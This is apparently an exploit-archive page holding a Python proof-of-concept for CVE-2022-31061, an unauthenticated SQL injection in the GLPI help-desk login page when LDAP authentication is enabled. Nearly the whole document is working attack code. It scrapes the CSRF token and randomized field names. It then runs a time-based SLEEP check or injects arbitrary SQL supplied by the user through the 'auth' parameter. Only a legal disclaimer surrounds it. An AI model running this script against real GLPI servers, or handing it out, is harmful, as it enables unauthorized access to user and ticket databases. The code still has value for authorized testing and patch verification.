4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-31061.py PY
#!/bin/python

# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# Legal disclaimer : 
# use of this script for attacking à target without mutual consent is illegal.
# It's is the end user responsibility to obey all applicables laws for his location
# Developers assume no lisibility and are not responsible for any misuse or domage caused by this program
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

# Exploit Title: GLPI >= 9.3.0 and < 10.0.2 - Unauthenticated SQL injection on login page
# Date: 2022-08-07
# Exploit Author: Vu0r1
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/glpi-project/glpi/releases/download/10.0.1/glpi-10.0.1.tgz
# Version: GLPI >= 9.3.0; < 9.5.8; <10.0.2
# Tested on: DEBIAN 11
# CVE : CVE-2022-31061
# Reference : https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq
# Reference : https://nvd.nist.gov/vuln/detail/CVE-2022-31061
# Reference : 

# NEED : ldap activated

from datetime import datetime
from urllib import response
import requests
from lxml.html import fromstring
import sys
from optparse import OptionParser, Values
import random
import string

def main():
    
    print("# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
    print("# Legal disclaimer : ")
    print("# use of this script for attacking à target without mutual consent is illegal.")
    print("# It's is the end user responsibility to obey all applicables laws for his location")
    print("# Developers assume no lisibility and are not responsible for any misuse or domage caused by this program")
    print("# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
    
    usage = "usage: %prog -t https://example.com [-v] [-c cmd]"
    parser = OptionParser(usage)
    parser.add_option("-t", "--target", dest="target",
                      help="GLPI Website to audit")

    parser.add_option("-v", "--verbose", action="store_true", dest="verbose",
                      help="Display verbose output")

    parser.add_option("-c", "--cmd", dest="cmd",
                      help="payload to inject. Time based Bind Injection. Context : ' SELECT `id` FROM `glpi_users` WHERE `name` = 'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1' [payload] # '")

    parser.add_option("-u", "--user-agent", dest="userAgent",
                      help="user-agent to use", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0")

    parser.add_option("-p", "--proxy", dest="proxy",
                      help="proxy to use")

    (options, args) = parser.parse_args()
    if(not options.target):
        sys.exit("the target is mandatory")

    if(options.cmd):
        response = makeResquest(options, options.cmd)
        print("Status", response.status_code)
        print("Content", response.elapsed.total_seconds(), "sec")
    else:   
        sleep = 5     
        response = makeResquest(options, "UNION SELECT SLEEP(" + str(sleep) + ")")
        duration = response.elapsed.total_seconds()
        if(duration >= sleep):
            print("SUCCESS : target is vulnerable")
        else:
            print("FAIL : target is not vulnerable")

def getProxy(options: Values):
    if(options.proxy):
        return {"http": options.proxy, "https": options.proxy}
    return None

def extractFromReceip(htmlContent: any, xpath: str, paramLabel: str, verbose: bool) -> str:
    matches = htmlContent.xpath(xpath)
    if(len(matches) != 1):
        sys.exit(paramLabel + " not found")
    
    value = matches[0]

    if(verbose):
        print("[VERBOSE] ", paramLabel," : ", value)

    return value


def makeResquest(options: Values, payload: str) -> requests.Response:
    target = options.target.strip('/')
    index = target + '/index.php'
    proxy = getProxy(options)

    try:
        headers = {
            "User-Agent" : options.userAgent,
        }
        response = requests.get(index, headers=headers, proxies=proxy)
    except Exception as e:
        print("Error : ", e, "on try to access to", index)
        exit()

    if(options.verbose):
        print("[VERBOSE] Status Code : ", response.status_code)
    if(response.status_code != 200):
        print("Error : ", index, " status ", response.status_code)
        exit()

    htmlContent = fromstring(response.content)

    authValues = htmlContent.xpath('.//select[@name="auth"]/option/@value')
    if(options.verbose):
        print("Auth values : ", authValues)

    authVal = ""
    for val in authValues:
        if("ldap" in val):
            authVal = val
            break
    
    if(not authVal):
        print("ldap must be enabled")
        exit()

    #<input type="hidden" name="_glpi_csrf_token" value="f729a9aded54dbeae61d3d75ba817cb66f3da30f85ef32663111d0b1529aa35e" />
    csrfToken = extractFromReceip(htmlContent, '//input[@name="_glpi_csrf_token"]/@value', "CSRF", options.verbose)

    # <input type="text" class="form-control" id="login_name" name="fielda62efb2fcc0118" placeholder="" tabindex="1" />
    loginField = extractFromReceip(htmlContent, '//input[@id="login_name"]/@name', "LoginField", options.verbose)

    #<input type="password" class="form-control" name="fieldb62efb2fcc011b" placeholder="" autocomplete="off" tabindex="2" />
    passField = extractFromReceip(htmlContent, '//input[@type="password"]/@name', "PassField", options.verbose)

    #<input type="checkbox" class="form-check-input" name="fieldc62efb2fcc011c" checked />
    rememberMeField = extractFromReceip(htmlContent, '//input[@type="checkbox"]/@name', "RememberMeField", options.verbose)

    #  SELECT `id` FROM `glpi_users` WHERE `name` = 'User' AND `authtype` = '3' AND `auths_id` = '1' UNION SELECT SLEEP(5) # '
    auth = authVal + "' " + payload + " # "

    # fielda62efa09238519=test&fieldb62efa0923851b=test&auth=ldap-1&fieldc62efa0923851c=on&submit=
    params = {
        "noAuto" : 0,
        "redirect" : "",
        "_glpi_csrf_token" : csrfToken,
        loginField : ''.join(random.choices(string.ascii_uppercase + string.digits, k=8)),
        passField : ''.join(random.choices(string.ascii_uppercase + string.digits, k=16)),
        "auth" : auth,
        rememberMeField : "on",
        "submit": ""
    }

    headers = {
        "User-Agent" : options.userAgent,
        "Referer" : index
    }

    login = options.target + '/front/login.php'
    
    print("[", datetime.now(), "] Begin send request for ", payload)
    injResponse = requests.post(login, params, cookies=response.cookies,headers=headers, proxies=proxy)
    print("[", datetime.now(), "] End send request for ", payload, " Duration : ", injResponse.elapsed.total_seconds())

    return injResponse

if __name__ == "__main__":
    main()